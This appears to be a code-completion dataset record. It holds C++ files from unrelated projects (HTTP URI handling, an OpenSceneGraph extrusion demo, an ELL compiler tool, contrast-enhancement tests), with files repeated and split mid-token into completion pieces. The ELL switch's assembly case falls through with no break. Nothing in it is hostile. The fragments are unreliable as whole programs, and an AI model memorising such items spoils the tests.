#ifndef ES_HTTP_REQUEST_URI_H #include <ESHttpRequestUri.h> #endif #ifndef ESB_CONFIG_H #include <ESBConfig.h> #endif #ifndef ES_HTTP_UTIL_H #include <ESHttpUtil.h> #endif namespace ES { HttpRequestUri::HttpRequestUri(UriType type) : _type(type), _port(-1), _host(NULL), _absPath(NULL), _query(NULL), _fragment(NULL), _other(NULL) {} HttpRequestUri::HttpRequestUri() : _type(ES_URI_HTTP), _port(-1), _host(NULL), _absPath(NULL), _query(NULL), _fragment(NULL), _other(NULL) {} HttpRequestUri::~HttpRequestUri() {}
ESB::Error HttpRequestUri::copy(const HttpRequestUri *other, ESB::Allocator &allocator) { if (!other) { return ESB_NULL_POINTER; } _type = other->type(); _port = other->port(); if (other->host()) { _host = HttpUtil::Duplicate(&allocator, other->host()); if (!_host) { return ESB_OUT_OF_MEMORY; } } if (other->absPath()) { _absPath = HttpUtil::Duplicate(&allocator, other->absPath()); if (!_absPath) { allocator.deallocate((void *)_host); _host = NULL; return ESB_OUT_OF_MEMORY; } } if (other->query()) { _query = HttpUtil::Duplicate(&allocator, other->query()); if (!_query) { allocator.deallocate((void *)_host); allocator.deallocate((void *)_absPath); _host = NULL; _absPath = NULL; return ESB_OUT_OF_MEMORY; } } if (other->fragment()) { _fragment = HttpUtil::Duplicate(&allocator, other->fragment()); if (!_fragment) { allocator.deallocate((void *)_host); allocator.deallocate((void *)_absPath); allocator.deallocate((void *)_query); _host = NULL; _absPath = NULL; _query = NULL; return ESB_OUT_OF_MEMORY; } } if (other->other()) { _other = HttpUtil::Duplicate(&allocator, other->other()); if (!_other) { allocator.deallocate((void *)_host); allocator.deallocate((void *)_absPath); allocator.deallocate((void *)_query); allocator.deallocate((void *)_fragment); _host = NULL; _absPath = NULL; _query = NULL; _fragment = NULL; return ESB_OUT_OF_MEMORY; } } return ESB_SUCCESS; } int HttpRequestUri::Compare(const HttpRequestUri *r1, const HttpRequestUri *r2) { if (ES_URI_ASTERISK == r1->type() && ES_URI_ASTERISK == r2->type()) { return 0; } if (ES_URI_OTHER == r1->type() && ES_URI_OTHER == r2->type()) { return strcmp((const char *)r1->other(), (const char *)r2->other()); } int result = 0; if (r1->type() != r2->type()) { return ES_URI_HTTP == r1->type() ? 1 : -1; } if (r1->host() != r2->host()) { if (0 == r1->host()) { return -1; } if (0 == r2->host()) { return 1; } result = strcasecmp((const char *)r1->host(), (const char *)r2->host()); if (0 != result) { return result; } } int port1 = 0 <= r1->port() ? r1->port() : (ES_URI_HTTP == r1->type() ? 80 : 443); int port2 = 0 <= r2->port() ? r2->port() : (ES_URI_HTTP == r2->type() ? 80 : 443); if (0 != port1 - port2) { return port1 - port2; } const char *absPath1 = 0 == r1->absPath() ? "/" : (const char *)r1->absPath(); const char *absPath2 = 0 == r2->absPath() ? "/" : (const char *)r2->absPath(); if (absPath1 != absPath2) { result = strcmp(absPath1, absPath2); if (0 != result) { return result; } } if (r1->query() != r2->query()) { if (0 == r1->query()) { return -1; } if (0 == r2->query()) { return 1; } result = strcmp((const char *)r1->query(), (const char *)r2->query()); if (0 != result) { return result; } } return 0; } }
void HttpRequestUri::reset() { _type = ES_URI_HTTP; _port = -1; _host = NULL; _absPath = NULL; _query = NULL; _fragment = NULL; _other = NULL; }
function_block-full_function
[ { "content": "namespace ES {\n\n\n\n#define ES_HTTP_BAD_CRLF -100\n\n#define ES_HTTP_BAD_REQUEST_URI_ASTERISK -101\n\n#define ES_HTTP_BAD_REQUEST_URI_ABS_PATH -102\n\n#define ES_HTTP_BAD_REQUEST_URI_QUERY -103\n\n#define ES_HTTP_BAD_REQUEST_URI_SCHEME -104\n\n#define ES_HTTP_BAD_REQUEST_URI_HOST -105\n\n#define...
C++
main.cpp
DonnieDonowitz/Extrusion
895cff91531f5d596f0b4434fbd2cc8be87b282c
#include <osg/Geode> #include <osg/Array> #include <osg/Geometry> #include <osgUtil/Tessellator> #include <osgViewer/Viewer> osg::Geometry* createUpperFace(osg::Vec3Array* vertices, std::list<osg::Vec3Array*> holes, osg::Vec4Array* color, osg::Vec3 extrusiondirection) { int off; osg::Vec3Array* v = new osg::Vec3Array; osg::Vec3Array* norms = new osg::Vec3Array; v->insert(v->begin(), vertices->begin(), vertices->end()); osg::Vec3 n = (v->at(1) - v->at(0)) ^ (v->at(2) - v->at(1)); n.normalize(); norms->push_back(n); off = vertices->size(); for (osg::Vec3Array* h : holes) { v->insert(v->begin() + off, h->begin(), h->end()); off += h->size(); } osgUtil::Tessellator t; t.setWindingType(osgUtil::Tessellator::TESS_WINDING_ODD); t.setTessellationType(osgUtil::Tessellator::TESS_TYPE_GEOMETRY); osg::Geometry* face = new osg::Geometry; face->setColorArray(color, osg::Array::BIND_OVERALL); face->setVertexArray(v); face->setNormalArray(norms, osg::Array::BIND_OVERALL); face->addPrimitiveSet(new osg::DrawArrays(GL_POLYGON, 0, vertices->size())); off = vertices->size(); for (osg::Vec3Array* h : holes) { face->addPrimitiveSet(new osg::DrawArrays(GL_POLYGON, off, h->size())); off += h->size(); } t.retessellatePolygons(*face); return face; } osg::Geometry* createLowerFace(osg::Geometry* upperFace, osg::Vec3 offset) { osg::Geometry* lowerFace = dynamic_cast<osg::Geometry*> (upperFace->clone(osg::CopyOp::DEEP_COPY_ALL)); osg::Vec3Array* v = (osg::Vec3Array*) lowerFace->getVertexArray(); for (int i = 0; i < v->size(); ++i) { v->at(i) += offset; } osg::Vec3Array* norm = new osg::Vec3Array; osg::Vec3 n = ((v->at(1)) - (v->at(0))) ^ ((v->at(2)) - (v->at(1))); n.normalize(); norm->push_back(- n); lowerFace->setNormalArray(norm, osg::Array::BIND_OVERALL); return lowerFace; } osg::Geometry* createWalls(osg::Vec3Array* vertices, std::list<osg::Vec3Array*> holes, osg::Vec4Array* color, osg::Vec3 extrusiondirection, double magnitude) { int off; int numholes = holes.size(); int numvertices = vertices->size(); int numvertexholes = 0; osg::Vec3Array* v = new osg::Vec3Array; osg::Vec3Array* norms = new osg::Vec3Array; osg::Vec3 offset = extrusiondirection * magnitude; osg::Geometry* walls = new osg::Geometry; v->insert(v->begin(), vertices->begin(), vertices->end()); for (osg::Vec3Array::iterator itr = vertices->begin(); itr != vertices->end(); ++itr) { v->push_back((*itr) + offset); } off = 2 * numvertices; for (osg::Vec3Array* h : holes) { v->insert(v->begin() + off, h->begin(), h->end()); for (osg::Vec3Array::iterator itr = h->begin(); itr != h->end(); ++itr) { numvertexholes++; v->push_back((*itr) + offset); } off += 2 * h->size(); } walls->setColorArray(color, osg::Array::BIND_OVERALL); walls->setVertexArray(v); std::vector<osg::DrawElementsUInt *> indices(numvertices); for (int i = 0; i < numvertices; ++i) { indices[i] = new osg::DrawElementsUInt(GL_QUAD_STRIP); indices[i]->push_back(i); indices[i]->push_back(i + numvertices); indices[i]->push_back((i + 1) % numvertices); int last = (i + numvertices + 1) % (2 * numvertices); if (last == 0) { indices[i]->push_back(last + numvertices); } else { indices[i]->push_back(last); } osg::Vec3 n = (v->at(indices[i]->at(1)) - v->at(indices[i]->at(0))) ^ (v->at(indices[i]->at(2)) - v->at(indices[i]->at(1)));; n.normalize(); norms->push_back(n); walls->addPrimitiveSet(indices[i]); } std::vector<osg::DrawElementsUInt *> indicesholes(numvertexholes); off = 2 * numvertices; int j = 0; for (osg::Vec3Array* h : holes) { int s = h->size(); for (int i = off; i < off + s; ++i) { indicesholes[j] = new osg::DrawElementsUInt(GL_QUAD_STRIP); indicesholes[j]->push_back(i); indicesholes[j]->push_back(i + s); int l = (i + 1) % (off + s); if (l == 0) { indicesholes[j]->push_back(l + off); } else { indicesholes[j]->push_back(l); } l = (i + s + 1) % (off + 2 * s); if (l == 0) { indicesholes[j]->push_back(l + off + s); } else { indicesholes[j]->push_back(l); } osg::Vec3 n = (v->at(indicesholes[j]->at(1)) - v->at(indicesholes[j]->at(0))) ^ (v->at(indicesholes[j]->at(2)) - v->at(indicesholes[j]->at(1))); n.normalize(); norms->push_back(n); walls->addPrimitiveSet(indicesholes[j]); j++; } off += 2 * s; } walls->setNormalArray(norms, osg::Array::BIND_PER_PRIMITIVE_SET); return walls; } osg::Geode* createExtrusion(osg::Vec3Array* extborder, std::list<osg::Vec3Array*> holesborders, osg::Vec4Array* color, osg::Vec3 extrusiondirection, double magnitude) { osg::Geode* geo = new osg::Geode; osg::Vec3 offset = extrusiondirection * magnitude; osg::Geometry* upperFace = createUpperFace(extborder, holesborders, color, extrusiondirection); osg::Geometry* lowerFace = createLowerFace(upperFace, offset); geo->addDrawable(upperFace); geo->addDrawable(lowerFace); geo->addDrawable(createWalls(extborder, holesborders, color, extrusiondirection, magnitude)); return geo; } int main(int argc, char** argv) { osg::ref_ptr<osg::Group> root = new osg::Group; std::list<osg::Vec3Array*> listHole; osg::Vec3Array* vertices = new osg::Vec3Array; vertices->push_back(osg::Vec3(-9.0f, 0.0, 5.0f)); vertices->push_back(osg::Vec3(-9.0f, 0.0, -4.0f)); vertices->push_back(osg::Vec3(-1.0f, 0.0, -4.0f)); vertices->push_back(osg::Vec3(-1.0f, 0.0, -2.0f)); vertices->push_back(osg::Vec3(-7.0f, 0.0, -2.0f)); vertices->push_back(osg::Vec3(-7.0f, 0.0, 5.0f)); osg::Vec3Array* hole = new osg::Vec3Array; hole->push_back(osg::Vec3(-8.22f, 0.0, -2.87f)); hole->push_back(osg::Vec3(-6.94f, 0.0, -2.87f)); hole->push_back(osg::Vec3(-6.96f, 0.0, -3.53f)); hole->push_back(osg::Vec3(-8.48f, 0.0, -3.53f)); hole->push_back(osg::Vec3(-8.48f, 0.0, -2.01f)); osg::Vec3Array* hole2 = new osg::Vec3Array; hole2->push_back(osg::Vec3(-3.94f, 0.0, -2.27f)); hole2->push_back(osg::Vec3(-3.8f, 0.0, -3.39f)); hole2->push_back(osg::Vec3(-2.9f, 0.0, -2.37f)); hole2->push_back(osg::Vec3(-1.42f, 0.0, -3.05f)); hole2->push_back(osg::Vec3(-3.46f, 0.0, -3.81f)); hole2->push_back(osg::Vec3(-6.2f, 0.0, -3.29f)); hole2->push_back(osg::Vec3(-5.54f, 0.0, -2.39f)); osg::Vec3Array* hole3 = new osg::Vec3Array; hole3->push_back(osg::Vec3(-8.26f, 0.0, 3.43f)); hole3->push_back(osg::Vec3(-8.5f, 0.0, 4.63f)); hole3->push_back(osg::Vec3(-7.48f, 0.0, 4.55f)); osg::Vec3Array* hole4 = new osg::Vec3Array; hole4->push_back(osg::Vec3(-7.36f, 0.0, 3.05f)); hole4->push_back(osg::Vec3(-8.2f, 0.0, 1.45f)); hole4->push_back(osg::Vec3(-8.52f, 0.0, 2.45f)); hole4->push_back(osg::Vec3(-7.76f, 0.0, 3.39f)); osg::Vec3Array* hole5 = new osg::Vec3Array; hole5->push_back(osg::Vec3(-7.36f, 0.0, 0.47f)); hole5->push_back(osg::Vec3(-8.58f, 0.0, 0.43f)); hole5->push_back(osg::Vec3(-7.48f, 0.0, 1.77f)); osg::Vec3Array* hole6 = new osg::Vec3Array; hole6->push_back(osg::Vec3(-7.32f, 0.0, -1.35f)); hole6->push_back(osg::Vec3(-8.44f, 0.0, -0.17f)); hole6->push_back(osg::Vec3(-7.34f, 0.0, -0.17f)); osg::Vec3Array* hole7 = new osg::Vec3Array; hole7->push_back(osg::Vec3(-8.0f, 0.0, -1.37f)); hole7->push_back(osg::Vec3(-7.62f, 0.0, -1.55f)); hole7->push_back(osg::Vec3(-7.74f, 0.0, -2.33f)); hole7->push_back(osg::Vec3(-8.44f, 0.0, -1.37f)); hole7->push_back(osg::Vec3(-8.42f, 0.0, -0.83f)); listHole.push_back(hole); listHole.push_back(hole2); listHole.push_back(hole3); listHole.push_back(hole4); listHole.push_back(hole5); listHole.push_back(hole6); listHole.push_back(hole7); osg::ref_ptr<osg::Vec4Array> colors = new osg::Vec4Array(1); (*colors)[0].set(0.0856f, 0.5273f, 0.6523f, 1.0f); osg::ref_ptr<osg::Geode> geode = createExtrusion(vertices, listHole, colors, osg::Vec3(0.0f, 1.0f, 0.0f), 15.0f); root->addChild(geode.get()); osgViewer::Viewer viewer; viewer.setSceneData(root.get()); return viewer.run(); }
#include <osg/Geode> #include <osg/Array> #include <osg/Geometry> #include <osgUtil/Tessellator> #include <osgViewer/Viewer> osg::Geometry* createUpperFace(osg::Vec3Array* vertices, std::list<osg::Vec3Array*> holes, osg::Vec4Array* color, osg::Vec3 extrusiondirection) { int off; osg::Vec3Array* v = new osg::Vec3Array; osg::Vec3Array* norms = new osg::Vec3Array; v->insert(v->begin(), vertices->begin(), vertices->end()); osg::Vec3 n = (v->at(1) - v->at(0)) ^ (v->at(2) - v->at(1)); n.normalize(); norms->push_back(n); off = vertices->size(); for (osg::Vec3Array* h : holes) { v->insert(v->begin() + off, h->begin(), h->end()); off += h->size(); } osgUtil::Tessellator t; t.setWindingType(osgUtil::Tessellator::TESS_WINDING_ODD); t.setTessellationType(osgUtil::Tessellator::TESS_TYPE_GEOMETRY); osg::Geometry* face = new osg::Geometry; face->setColorArray(color, osg::Array::BIND_OVERALL); face->setVertexArray(v); face->setNormalArray(norms, osg::Array::BIND_OVERALL); face->addPrimitiveSet(new osg::DrawArrays(GL_POLYGON, 0, vertices->size())); off = vertices->size(); for (osg::Vec3Array* h : holes) { face->addPrimitiveSet(new osg::DrawArrays(GL_POLYGON, off, h->size())); off += h->size(); } t.retessellatePolygons(*face); return face; } osg::Geometry* createLowerFace(osg::Geometry* upperFace, osg::Vec3 offset) { osg::Geometry* lowerFace = dynamic_cast<osg::Geometry*> (upperFace->clone(osg::CopyOp::DEEP_COPY_ALL)); osg::Vec3Array* v = (osg::Vec3Array*) lowerFace->getVertexArray(); for (int i = 0; i < v->size(); ++i) { v->at(i) += offset; } osg::Vec3Array* norm = new osg::Vec3Array; osg::Vec3 n = ((v->at(1)) - (v->at(0))) ^ ((v->at(2)) - (v->at(1))); n.normalize(); norm->push_back(- n); lowerFace->setNormalArray(norm, osg::Array::BIND_OVERALL); return lowerFace; } osg::Geometry* createWalls(osg::Vec3Array* vertices, std::list<osg::Vec3Array*> holes, osg::Vec4Array* color, osg::Vec3 extrusiondirection, double magnitude) { int off; int numholes = holes.size(); int numvertices = vertices->size(); int numvertexholes = 0; osg::Vec3Array* v = new osg::Vec3Array; osg::Vec3Array* norms = new osg::Vec3Array; osg::Vec3 offset = extrusiondirection * magnitude; osg::Geometry* walls = new osg::Geometry; v->insert(v->begin(), vertices->begin(), vertices->end()); for (osg::Vec3Array::iterator itr = vertices->begin(); itr != vertices->end(); ++itr) { v->push_back((*itr) + offset); } off = 2 * numvertices; for (osg::Vec3Array* h : holes) { v->insert(v->begin() + off, h->begin(), h->end()); for (osg::Vec3Array::iterator itr = h->begin(); itr != h->end(); ++itr) { numvertexholes++; v->push_back((*itr) + offset); } off += 2 * h->size(); } walls->setColorArray(color, osg::Array::BIND_OVERALL); walls->setVertexArray(v); std::vector<osg::DrawElementsUInt *> indices(numvertices); for (int i = 0; i < numvertices; ++i) { indices[i] = new osg::DrawElementsUInt(GL_QUAD_STRIP); indices[i]->push_back(i); indices[i]->push_back(i + numvertices); indices[i]->push_back((i + 1) % numvertices); int last = (i + numvertices + 1) % (2 * numvertices); if (last == 0) { indices[i]->push_back(last + numvertices); } else { indices[i]->push_back(last); } osg::Vec3 n = (v->at(indices[i]->at(1)) - v->at(indices[i]->at(0))) ^ (v->at(indices[i]->at(2)) - v->at(indices[i]->at(1)));; n.normalize(); norms->push_back(n); walls->addPrimitiveSet(indices[i]); } std::vector<osg::DrawElementsUInt *> indicesholes(numvertexholes); off = 2 * numvertices; int j = 0; for (osg::Vec3Array* h : holes) { int s = h->size(); for (int i = off; i < off + s; ++i) { indicesholes[j] = new osg::DrawElementsUInt(GL_QUAD_STRIP); indicesholes[j]->push_back(i); indicesholes[j]->push_back(i + s); int l = (i + 1) % (off + s); if (l == 0) { indicesholes[j]->push_back(l + off); } else { indicesholes[j]->push_back(l); } l = (i + s + 1) % (off + 2 * s); if (l == 0) { indicesholes[j]->pu
osg::Geometry* lowerFace = createLowerFace(upperFace, offset); geo->addDrawable(upperFace); geo->addDrawable(lowerFace); geo->addDrawable(createWalls(extborder, holesborders, color, extrusiondirection, magnitude)); return geo; } int main(int argc, char** argv) { osg::ref_ptr<osg::Group> root = new osg::Group; std::list<osg::Vec3Array*> listHole; osg::Vec3Array* vertices = new osg::Vec3Array; vertices->push_back(osg::Vec3(-9.0f, 0.0, 5.0f)); vertices->push_back(osg::Vec3(-9.0f, 0.0, -4.0f)); vertices->push_back(osg::Vec3(-1.0f, 0.0, -4.0f)); vertices->push_back(osg::Vec3(-1.0f, 0.0, -2.0f)); vertices->push_back(osg::Vec3(-7.0f, 0.0, -2.0f)); vertices->push_back(osg::Vec3(-7.0f, 0.0, 5.0f)); osg::Vec3Array* hole = new osg::Vec3Array; hole->push_back(osg::Vec3(-8.22f, 0.0, -2.87f)); hole->push_back(osg::Vec3(-6.94f, 0.0, -2.87f)); hole->push_back(osg::Vec3(-6.96f, 0.0, -3.53f)); hole->push_back(osg::Vec3(-8.48f, 0.0, -3.53f)); hole->push_back(osg::Vec3(-8.48f, 0.0, -2.01f)); osg::Vec3Array* hole2 = new osg::Vec3Array; hole2->push_back(osg::Vec3(-3.94f, 0.0, -2.27f)); hole2->push_back(osg::Vec3(-3.8f, 0.0, -3.39f)); hole2->push_back(osg::Vec3(-2.9f, 0.0, -2.37f)); hole2->push_back(osg::Vec3(-1.42f, 0.0, -3.05f)); hole2->push_back(osg::Vec3(-3.46f, 0.0, -3.81f)); hole2->push_back(osg::Vec3(-6.2f, 0.0, -3.29f)); hole2->push_back(osg::Vec3(-5.54f, 0.0, -2.39f)); osg::Vec3Array* hole3 = new osg::Vec3Array; hole3->push_back(osg::Vec3(-8.26f, 0.0, 3.43f)); hole3->push_back(osg::Vec3(-8.5f, 0.0, 4.63f)); hole3->push_back(osg::Vec3(-7.48f, 0.0, 4.55f)); osg::Vec3Array* hole4 = new osg::Vec3Array; hole4->push_back(osg::Vec3(-7.36f, 0.0, 3.05f)); hole4->push_back(osg::Vec3(-8.2f, 0.0, 1.45f)); hole4->push_back(osg::Vec3(-8.52f, 0.0, 2.45f)); hole4->push_back(osg::Vec3(-7.76f, 0.0, 3.39f)); osg::Vec3Array* hole5 = new osg::Vec3Array; hole5->push_back(osg::Vec3(-7.36f, 0.0, 0.47f)); hole5->push_back(osg::Vec3(-8.58f, 0.0, 0.43f)); hole5->push_back(osg::Vec3(-7.48f, 0.0, 1.77f)); osg::Vec3Array* hole6 = new osg::Vec3Array; hole6->push_back(osg::Vec3(-7.32f, 0.0, -1.35f)); hole6->push_back(osg::Vec3(-8.44f, 0.0, -0.17f)); hole6->push_back(osg::Vec3(-7.34f, 0.0, -0.17f)); osg::Vec3Array* hole7 = new osg::Vec3Array; hole7->push_back(osg::Vec3(-8.0f, 0.0, -1.37f)); hole7->push_back(osg::Vec3(-7.62f, 0.0, -1.55f)); hole7->push_back(osg::Vec3(-7.74f, 0.0, -2.33f)); hole7->push_back(osg::Vec3(-8.44f, 0.0, -1.37f)); hole7->push_back(osg::Vec3(-8.42f, 0.0, -0.83f)); listHole.push_back(hole); listHole.push_back(hole2); listHole.push_back(hole3); listHole.push_back(hole4); listHole.push_back(hole5); listHole.push_back(hole6); listHole.push_back(hole7); osg::ref_ptr<osg::Vec4Array> colors = new osg::Vec4Array(1); (*colors)[0].set(0.0856f, 0.5273f, 0.6523f, 1.0f); osg::ref_ptr<osg::Geode> geode = createExtrusion(vertices, listHole, colors, osg::Vec3(0.0f, 1.0f, 0.0f), 15.0f); root->addChild(geode.get()); osgViewer::Viewer viewer; viewer.setSceneData(root.get()); return viewer.run(); }
sh_back(l + off + s); } else { indicesholes[j]->push_back(l); } osg::Vec3 n = (v->at(indicesholes[j]->at(1)) - v->at(indicesholes[j]->at(0))) ^ (v->at(indicesholes[j]->at(2)) - v->at(indicesholes[j]->at(1))); n.normalize(); norms->push_back(n); walls->addPrimitiveSet(indicesholes[j]); j++; } off += 2 * s; } walls->setNormalArray(norms, osg::Array::BIND_PER_PRIMITIVE_SET); return walls; } osg::Geode* createExtrusion(osg::Vec3Array* extborder, std::list<osg::Vec3Array*> holesborders, osg::Vec4Array* color, osg::Vec3 extrusiondirection, double magnitude) { osg::Geode* geo = new osg::Geode; osg::Vec3 offset = extrusiondirection * magnitude; osg::Geometry* upperFace = createUpperFace(extborder, holesborders, color, extrusiondirection);
random
[]
C++
tools/utilities/compile/src/main.cpp
Dream-maerD/ELL-master
9554afa876cc9e8e87529df3f3d99220abc711d6
#include "CompileArguments.h" #include "CommandLineParser.h" #include "Exception.h" #include "Dataset.h" #include "LoadModel.h" #include "MapLoadArguments.h" #include "DynamicMap.h" #include "IRCompiledMap.h" #include "IRMapCompiler.h" #include "IRSteppableMapCompiler.h" #include "OutputNode.h" #include <chrono> #include <iostream> #include <stdexcept> #include <string> using namespace ell; typedef std::function<void(const double*, double*)> FnInputOutput; template <typename MapType, typename MapCompilerType> void ProduceMapOutput(const common::MapLoadArguments& mapLoadArguments, ParsedCompileArguments& compileArguments, MapType& map) { if (CompileArguments::OutputType::refinedMap == compileArguments.outputType) { model::TransformContext context; map.Refine(context, compileArguments.maxRefinementIterations); common::SaveMap(map, compileArguments.outputCodeStream); } else { model::MapCompilerParameters settings; settings.mapFunctionName = compileArguments.compiledFunctionName; settings.moduleName = compileArguments.compiledModuleName; settings.compilerSettings.optimize = compileArguments.optimize; MapCompilerType compiler(settings); auto compiledMap = compiler.Compile(map); switch (compileArguments.outputType) { case CompileArguments::OutputType::compiledMap: common::SaveMap(compiledMap, compileArguments.outputCodeStream); break; case CompileArguments::OutputType::ir: compiledMap.WriteCode(compileArguments.outputCodeStream, emitters::ModuleOutputFormat::ir); break; case CompileArguments::OutputType::bitcode: compiledMap.WriteCode(compileArguments.outputCodeStream, emitters::ModuleOutputFormat::bitcode); break; case CompileArguments::OutputType::assembly: { emitters::MachineCodeOutputOptions compileAssemblyOptions; compileAssemblyOptions.optimizationLevel = emitters::OptimizationLevel::Default; compileAssemblyOptions.targetDevice.cpu = compileArguments.cpu; if ("cortex-m4" == compileArguments.cpu) { compileAssemblyOptions.targetDevice.triple = "arm-none-eabi"; compileAssemblyOptions.targetDevice.features = "+armv7e-m,+v7,soft-float"; } compiledMap.WriteCode(compileArguments.outputCodeStream, emitters::ModuleOutputFormat::assembly, compileAssemblyOptions); } case CompileArguments::OutputType::swigInterface: compiledMap.WriteCode(compileArguments.outputFilename, emitters::ModuleOutputFormat::swigInterface); break; default: throw emitters::EmitterException(emitters::EmitterError::notSupported); } } } int main(int argc, char* argv[]) { try { utilities::CommandLineParser commandLineParser(argc, argv); common::ParsedMapLoadArguments mapLoadArguments; ParsedCompileArguments compileArguments; commandLineParser.AddOptionSet(mapLoadArguments); commandLineParser.AddOptionSet(compileArguments); commandLineParser.Parse(); switch (mapLoadArguments.mapType) { case common::MapLoadArguments::MapType::steadyClockSteppableMap: { using MapType = model::SteppableMap<std::chrono::steady_clock>; using MapCompilerType = model::IRSteppableMapCompiler<std::chrono::steady_clock>; constexpr auto MapArgumentType = common::MapLoadArguments::MapType::steadyClockSteppableMap; auto map = common::LoadMap<MapType, MapArgumentType>(mapLoadArguments); ProduceMapOutput<MapType, MapCompilerType>(mapLoadArguments, compileArguments, map); break; } case common::MapLoadArguments::MapType::systemClockSteppableMap: { using MapType = model::SteppableMap<std::chrono::system_clock>; using MapCompilerType = model::IRSteppableMapCompiler<std::chrono::system_clock>; constexpr auto MapArgumentType = common::MapLoadArguments::MapType::systemClockSteppableMap; auto map = common::LoadMap<MapType, MapArgumentType>(mapLoadArguments); ProduceMapOutput<MapType, MapCompilerType>(mapLoadArguments, compileArguments, map); break; } case common::MapLoadArguments::MapType::simpleMap: { using MapType = model::DynamicMap; using MapCompilerType = model::IRMapCompiler; auto map = common::LoadMap(mapLoadArguments); ProduceMapOutput<MapType, MapCompilerType>(mapLoadArguments, compileArguments, map); break; } default: throw utilities::InputException(utilities::InputExceptionErrors::invalidArgument, "Error: couldn't read file."); } } catch (const utilities::CommandLineParserPrintHelpException& exception) { std::cout << exception.GetHelpText() << std::endl; return 0; } catch (const utilities::CommandLineParserErrorException& exception) { std::cerr << "Command line parse error:" << std::endl; for (const auto& error : exception.GetParseErrors()) { std::cerr << error.GetMessage() << std::endl; } return 1; } catch (const utilities::Exception& exception) { std::cerr << "exception: " << exception.GetMessage() << std::endl; return 1; } return 0; }
#include "CompileArguments.h" #include "CommandLineParser.h" #include "Exception.h" #include "Dataset.h" #include "LoadModel.h" #include "MapLoadArguments.h" #include "DynamicMap.h" #include "IRCompiledMap.h" #include "IRMapCompiler.h" #include "IRSteppableMapCompiler.h" #include "OutputNode.h" #include <chrono> #include <iostream> #include <stdexcept> #include <string> using namespace ell; typedef std::function<void(const double*, double*)> FnInputOutput; template <typename MapType, typename MapCompilerType> void ProduceMapOutput(const common::MapLoadArguments& mapLoadArguments, ParsedCompileArguments& compileArguments, MapType& map) { if (CompileArguments::OutputType::refinedMap == compileArguments.outputType) { model::TransformContext context; map.Refine(context, compileArguments.maxRefinementIterations); common::SaveMap(map, compileArguments.outputCodeStream); } else { model::MapCompilerParameters settings; settings.mapFunctionName = compileArguments.compiledFunctionName; settings.moduleName = compileArguments.compiledModuleName; settings.compilerSettings.optimize = compileArguments.optimize; MapCompilerType compiler(settings); auto compiledMap = compiler.Compile(map); switch (compileArguments.outputType) { case CompileArguments::OutputType::compiledMap: common::SaveMap(compiledMap, compileArguments.outputCodeStream); break; case CompileArguments::OutputType::ir: compiledMap.WriteCode(compileArguments.outputCodeStream, emitters::ModuleOutputFormat::ir); break; case CompileA
int main(int argc, char* argv[]) { try { utilities::CommandLineParser commandLineParser(argc, argv); common::ParsedMapLoadArguments mapLoadArguments; ParsedCompileArguments compileArguments; commandLineParser.AddOptionSet(mapLoadArguments); commandLineParser.AddOptionSet(compileArguments); commandLineParser.Parse(); switch (mapLoadArguments.mapType) { case common::MapLoadArguments::MapType::steadyClockSteppableMap: { using MapType = model::SteppableMap<std::chrono::steady_clock>; using MapCompilerType = model::IRSteppableMapCompiler<std::chrono::steady_clock>; constexpr auto MapArgumentType = common::MapLoadArguments::MapType::steadyClockSteppableMap; auto map = common::LoadMap<MapType, MapArgumentType>(mapLoadArguments); ProduceMapOutput<MapType, MapCompilerType>(mapLoadArguments, compileArguments, map); break; } case common::MapLoadArguments::MapType::systemClockSteppableMap: { using MapType = model::SteppableMap<std::chrono::system_clock>; using MapCompilerType = model::IRSteppableMapCompiler<std::chrono::system_clock>; constexpr auto MapArgumentType = common::MapLoadArguments::MapType::systemClockSteppableMap; auto map = common::LoadMap<MapType, MapArgumentType>(mapLoadArguments); ProduceMapOutput<MapType, MapCompilerType>(mapLoadArguments, compileArguments, map); break; } case common::MapLoadArguments::MapType::simpleMap: { using MapType = model::DynamicMap; using MapCompilerType = model::IRMapCompiler; auto map = common::LoadMap(mapLoadArguments); ProduceMapOutput<MapType, MapCompilerType>(mapLoadArguments, compileArguments, map); break; } default: throw utilities::InputException(utilities::InputExceptionErrors::invalidArgument, "Error: couldn't read file."); } } catch (const utilities::CommandLineParserPrintHelpException& exception) { std::cout << exception.GetHelpText() << std::endl; return 0; } catch (const utilities::CommandLineParserErrorException& exception) { std::cerr << "Command line parse error:" << std::endl; for (const auto& error : exception.GetParseErrors()) { std::cerr << error.GetMessage() << std::endl; } return 1; } catch (const utilities::Exception& exception) { std::cerr << "exception: " << exception.GetMessage() << std::endl; return 1; } return 0; }
rguments::OutputType::bitcode: compiledMap.WriteCode(compileArguments.outputCodeStream, emitters::ModuleOutputFormat::bitcode); break; case CompileArguments::OutputType::assembly: { emitters::MachineCodeOutputOptions compileAssemblyOptions; compileAssemblyOptions.optimizationLevel = emitters::OptimizationLevel::Default; compileAssemblyOptions.targetDevice.cpu = compileArguments.cpu; if ("cortex-m4" == compileArguments.cpu) { compileAssemblyOptions.targetDevice.triple = "arm-none-eabi"; compileAssemblyOptions.targetDevice.features = "+armv7e-m,+v7,soft-float"; } compiledMap.WriteCode(compileArguments.outputCodeStream, emitters::ModuleOutputFormat::assembly, compileAssemblyOptions); } case CompileArguments::OutputType::swigInterface: compiledMap.WriteCode(compileArguments.outputFilename, emitters::ModuleOutputFormat::swigInterface); break; default: throw emitters::EmitterException(emitters::EmitterError::notSupported); } } }
function_block-function_prefixed
[ { "content": "namespace ell\n\n{\n\nnamespace utilities\n\n{\n\n /// <summary> The results of the parse command: \n\n /// success = Parsing succeeded;\n\n /// badFormat = The string was not formatted correctly;\n\n /// endOfString = The pointer pStr points \\0 or to whitespace followed b...
C++
modules/task_2/okmyanskiy_a_contrast_enhancement/main.cpp
381706-1-DenisovVladislavL/pp_2020_spring
52d640bd274920b1664414a5f9b0f27da6707f7d
 #include <gtest/gtest.h> #include <omp.h> #include <vector> #include <ctime> #include <iostream> #include "./contrast_enhancement.h" TEST(Sequential_Contrast_Enhancement, Test_Random_Matrix_Size_Zero) { const int matrixWidth = 15; const int matrixHeight = 0; ASSERT_ANY_THROW(getRandomMatrix(matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Random_Matrix_Size_Correctly) { const int matrixWidth = 10; const int matrixHeight = 10; ASSERT_NO_THROW(getRandomMatrix(matrixWidth, matrixHeight)); } TEST(Sequential_Contrast_Enhancement, Test_Stretching_Minimum_Greather_Maximum) { const int min = 200; const int max = 50; const int value = 10; ASSERT_ANY_THROW(linearHistogramStretching(value, max, min)); } TEST(Sequential_Contrast_Enhancement, Test_Stretching_Minimum_Or_Maximum_False) { const int min = -5; const int max = 260; const int value = 10; ASSERT_ANY_THROW(linearHistogramStretching(value, max, min)); } 